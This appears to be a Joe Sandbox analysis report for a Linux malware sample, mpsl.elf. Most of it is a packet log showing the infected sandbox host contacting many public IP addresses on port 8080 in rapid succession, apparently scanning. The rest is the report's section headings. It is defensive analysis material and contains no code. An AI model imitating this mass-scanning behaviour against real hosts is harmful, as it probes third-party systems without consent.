Feb 19, 2025 19:43:19.283384085 CET	26802	8080	192.168.2.13	95.144.253.146
Feb 19, 2025 19:43:19.283385992 CET	26802	8080	192.168.2.13	85.141.39.32
Feb 19, 2025 19:43:19.283384085 CET	26802	8080	192.168.2.13	94.174.16.198
Feb 19, 2025 19:43:19.283384085 CET	26802	8080	192.168.2.13	94.167.26.33
Feb 19, 2025 19:43:19.283385992 CET	26802	8080	192.168.2.13	62.226.89.242
Feb 19, 2025 19:43:19.283385992 CET	26802	8080	192.168.2.13	31.227.240.108
Feb 19, 2025 19:43:19.283442020 CET	26802	8080	192.168.2.13	85.157.119.206
Feb 19, 2025 19:43:19.283442020 CET	26802	8080	192.168.2.13	31.29.208.178
Feb 19, 2025 19:43:19.283443928 CET	26802	8080	192.168.2.13	62.218.35.35
Feb 19, 2025 19:43:19.283443928 CET	26802	8080	192.168.2.13	95.39.99.236
Feb 19, 2025 19:43:19.283443928 CET	26802	8080	192.168.2.13	94.15.12.62
Feb 19, 2025 19:43:19.283443928 CET	26802	8080	192.168.2.13	62.133.157.242
Feb 19, 2025 19:43:19.283444881 CET	26802	8080	192.168.2.13	95.246.74.31
Feb 19, 2025 19:43:19.283447027 CET	26802	8080	192.168.2.13	85.71.4.214
Feb 19, 2025 19:43:19.283446074 CET	26802	8080	192.168.2.13	94.47.255.134
Feb 19, 2025 19:43:19.283443928 CET	26802	8080	192.168.2.13	31.78.91.209
Feb 19, 2025 19:43:19.283447027 CET	26802	8080	192.168.2.13	31.18.247.24
Feb 19, 2025 19:43:19.283444881 CET	26802	8080	192.168.2.13	62.24.108.42
Feb 19, 2025 19:43:19.283446074 CET	26802	8080	192.168.2.13	62.153.254.46
Feb 19, 2025 19:43:19.283447027 CET	26802	8080	192.168.2.13	94.157.99.22
Feb 19, 2025 19:43:19.283446074 CET	26802	8080	192.168.2.13	85.225.244.102
Feb 19, 2025 19:43:19.283447027 CET	26802	8080	192.168.2.13	62.206.70.175
Feb 19, 2025 19:43:19.283443928 CET	26802	8080	192.168.2.13	31.255.94.194
Feb 19, 2025 19:43:19.283447027 CET	26802	8080	192.168.2.13	94.103.199.218
Feb 19, 2025 19:43:19.283446074 CET	26802	8080	192.168.2.13	31.4.122.176
Feb 19, 2025 19:43:19.283444881 CET	26802	8080	192.168.2.13	85.115.119.18
Feb 19, 2025 19:43:19.283468962 CET	26802	8080	192.168.2.13	94.96.142.156
Feb 19, 2025 19:43:19.283468962 CET	26802	8080	192.168.2.13	94.100.83.88
Feb 19, 2025 19:43:19.283468962 CET	26802	8080	192.168.2.13	94.224.49.59
Feb 19, 2025 19:43:19.283468962 CET	26802	8080	192.168.2.13	95.83.22.123
Feb 19, 2025 19:43:19.283500910 CET	26802	8080	192.168.2.13	95.69.89.191
Feb 19, 2025 19:43:19.283500910 CET	26802	8080	192.168.2.13	62.244.123.16
Feb 19, 2025 19:43:19.283500910 CET	26802	8080	192.168.2.13	94.176.82.68
Feb 19, 2025 19:43:19.283500910 CET	26802	8080	192.168.2.13	85.128.233.66
Feb 19, 2025 19:43:19.283500910 CET	26802	8080	192.168.2.13	85.27.139.75
Feb 19, 2025 19:43:19.283500910 CET	26802	8080	192.168.2.13	85.170.214.248
Feb 19, 2025 19:43:19.283500910 CET	26802	8080	192.168.2.13	95.226.225.91
Feb 19, 2025 19:43:19.283500910 CET	26802	8080	192.168.2.13	62.81.142.85
Feb 19, 2025 19:43:19.283504963 CET	26802	8080	192.168.2.13	62.228.169.30
Feb 19, 2025 19:43:19.283504963 CET	26802	8080	192.168.2.13	31.32.236.89
Feb 19, 2025 19:43:19.283504963 CET	26802	8080	192.168.2.13	94.181.230.200
Feb 19, 2025 19:43:19.283504963 CET	26802	8080	192.168.2.13	94.38.34.170
Feb 19, 2025 19:43:19.283507109 CET	26802	8080	192.168.2.13	85.126.125.4
Feb 19, 2025 19:43:19.283508062 CET	26802	8080	192.168.2.13	85.122.227.218
Feb 19, 2025 19:43:19.283508062 CET	26802	8080	192.168.2.13	94.228.188.57
Feb 19, 2025 19:43:19.283508062 CET	26802	8080	192.168.2.13	94.18.64.233
Feb 19, 2025 19:43:19.283508062 CET	26802	8080	192.168.2.13	94.126.229.197
Feb 19, 2025 19:43:19.283509016 CET	26802	8080	192.168.2.13	94.104.111.235
Feb 19, 2025 19:43:19.283509016 CET	26802	8080	192.168.2.13	95.69.231.218
Feb 19, 2025 19:43:19.283509016 CET	26802	8080	192.168.2.13	31.143.217.238
Feb 19, 2025 19:43:19.283509970 CET	26802	8080	192.168.2.13	85.214.17.175
Feb 19, 2025 19:43:19.283514023 CET	26802	8080	192.168.2.13	85.158.105.188
Feb 19, 2025 19:43:19.283514023 CET	26802	8080	192.168.2.13	95.135.60.207
Feb 19, 2025 19:43:19.283514023 CET	26802	8080	192.168.2.13	94.52.234.44
Feb 19, 2025 19:43:19.283514023 CET	26802	8080	192.168.2.13	62.17.12.25
Feb 19, 2025 19:43:19.283514023 CET	26802	8080	192.168.2.13	62.1.35.67
Feb 19, 2025 19:43:19.283514023 CET	26802	8080	192.168.2.13	31.62.153.232
Feb 19, 2025 19:43:19.283514023 CET	26802	8080	192.168.2.13	95.40.178.17
Feb 19, 2025 19:43:19.283577919 CET	26802	8080	192.168.2.13	95.78.77.152
Feb 19, 2025 19:43:19.283577919 CET	26802	8080	192.168.2.13	85.249.122.134
Feb 19, 2025 19:43:19.283579111 CET	26802	8080	192.168.2.13	94.9.85.201
Feb 19, 2025 19:43:19.283577919 CET	26802	8080	192.168.2.13	94.120.119.250
Feb 19, 2025 19:43:19.283579111 CET	26802	8080	192.168.2.13	31.164.206.173
Feb 19, 2025 19:43:19.283577919 CET	26802	8080	192.168.2.13	62.93.102.242
Feb 19, 2025 19:43:19.283580065 CET	26802	8080	192.168.2.13	95.196.102.107
Feb 19, 2025 19:43:19.283577919 CET	26802	8080	192.168.2.13	85.90.24.31
Feb 19, 2025 19:43:19.283584118 CET	26802	8080	192.168.2.13	85.9.106.91
Feb 19, 2025 19:43:19.283577919 CET	26802	8080	192.168.2.13	62.251.48.97
Feb 19, 2025 19:43:19.283580065 CET	26802	8080	192.168.2.13	62.42.21.213
Feb 19, 2025 19:43:19.283577919 CET	26802	8080	192.168.2.13	85.199.186.17
Feb 19, 2025 19:43:19.283580065 CET	26802	8080	192.168.2.13	31.19.154.25
Feb 19, 2025 19:43:19.283586979 CET	26802	8080	192.168.2.13	94.0.207.23
Feb 19, 2025 19:43:19.283586025 CET	26802	8080	192.168.2.13	31.74.183.132
Feb 19, 2025 19:43:19.283577919 CET	26802	8080	192.168.2.13	95.54.183.50
Feb 19, 2025 19:43:19.283586025 CET	26802	8080	192.168.2.13	85.95.229.179
Feb 19, 2025 19:43:19.283580065 CET	26802	8080	192.168.2.13	62.55.2.104
Feb 19, 2025 19:43:19.283586979 CET	26802	8080	192.168.2.13	62.133.92.150
Feb 19, 2025 19:43:19.283586025 CET	26802	8080	192.168.2.13	62.23.134.151
Feb 19, 2025 19:43:19.283580065 CET	26802	8080	192.168.2.13	95.225.232.225
Feb 19, 2025 19:43:19.283586979 CET	26802	8080	192.168.2.13	31.126.153.116
Feb 19, 2025 19:43:19.283586025 CET	26802	8080	192.168.2.13	85.219.138.162
Feb 19, 2025 19:43:19.283586979 CET	26802	8080	192.168.2.13	95.198.51.128
Feb 19, 2025 19:43:19.283598900 CET	26802	8080	192.168.2.13	85.120.42.79
Feb 19, 2025 19:43:19.283580065 CET	26802	8080	192.168.2.13	94.180.221.7
Feb 19, 2025 19:43:19.283586025 CET	26802	8080	192.168.2.13	85.170.127.29
Feb 19, 2025 19:43:19.283598900 CET	26802	8080	192.168.2.13	62.214.141.244
Feb 19, 2025 19:43:19.283586025 CET	26802	8080	192.168.2.13	94.204.49.77
Feb 19, 2025 19:43:19.283598900 CET	26802	8080	192.168.2.13	95.30.169.34
Feb 19, 2025 19:43:19.283598900 CET	26802	8080	192.168.2.13	85.41.101.229
Feb 19, 2025 19:43:19.283612967 CET	26802	8080	192.168.2.13	31.116.5.207
Feb 19, 2025 19:43:19.283612967 CET	26802	8080	192.168.2.13	85.58.149.52
Feb 19, 2025 19:43:19.283636093 CET	26802	8080	192.168.2.13	94.4.56.25
Feb 19, 2025 19:43:19.283636093 CET	26802	8080	192.168.2.13	85.170.215.197
Feb 19, 2025 19:43:19.283636093 CET	26802	8080	192.168.2.13	85.169.138.203
Feb 19, 2025 19:43:19.283636093 CET	26802	8080	192.168.2.13	95.143.197.192
Feb 19, 2025 19:43:19.283637047 CET	26802	8080	192.168.2.13	31.60.120.50
Feb 19, 2025 19:43:19.283637047 CET	26802	8080	192.168.2.13	95.114.136.143
Feb 19, 2025 19:43:19.283638954 CET	26802	8080	192.168.2.13	85.52.10.175
Feb 19, 2025 19:43:19.283639908 CET	26802	8080	192.168.2.13	94.131.82.155
Feb 19, 2025 19:43:19.283643007 CET	26802	8080	192.168.2.13	95.242.104.10
Feb 19, 2025 19:43:19.283643007 CET	26802	8080	192.168.2.13	85.99.55.2
Feb 19, 2025 19:43:19.283644915 CET	26802	8080	192.168.2.13	85.63.153.201
Feb 19, 2025 19:43:19.283644915 CET	26802	8080	192.168.2.13	94.157.122.170
Feb 19, 2025 19:43:19.283646107 CET	26802	8080	192.168.2.13	95.116.196.37
Feb 19, 2025 19:43:19.283644915 CET	26802	8080	192.168.2.13	85.250.199

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
mpsl.elf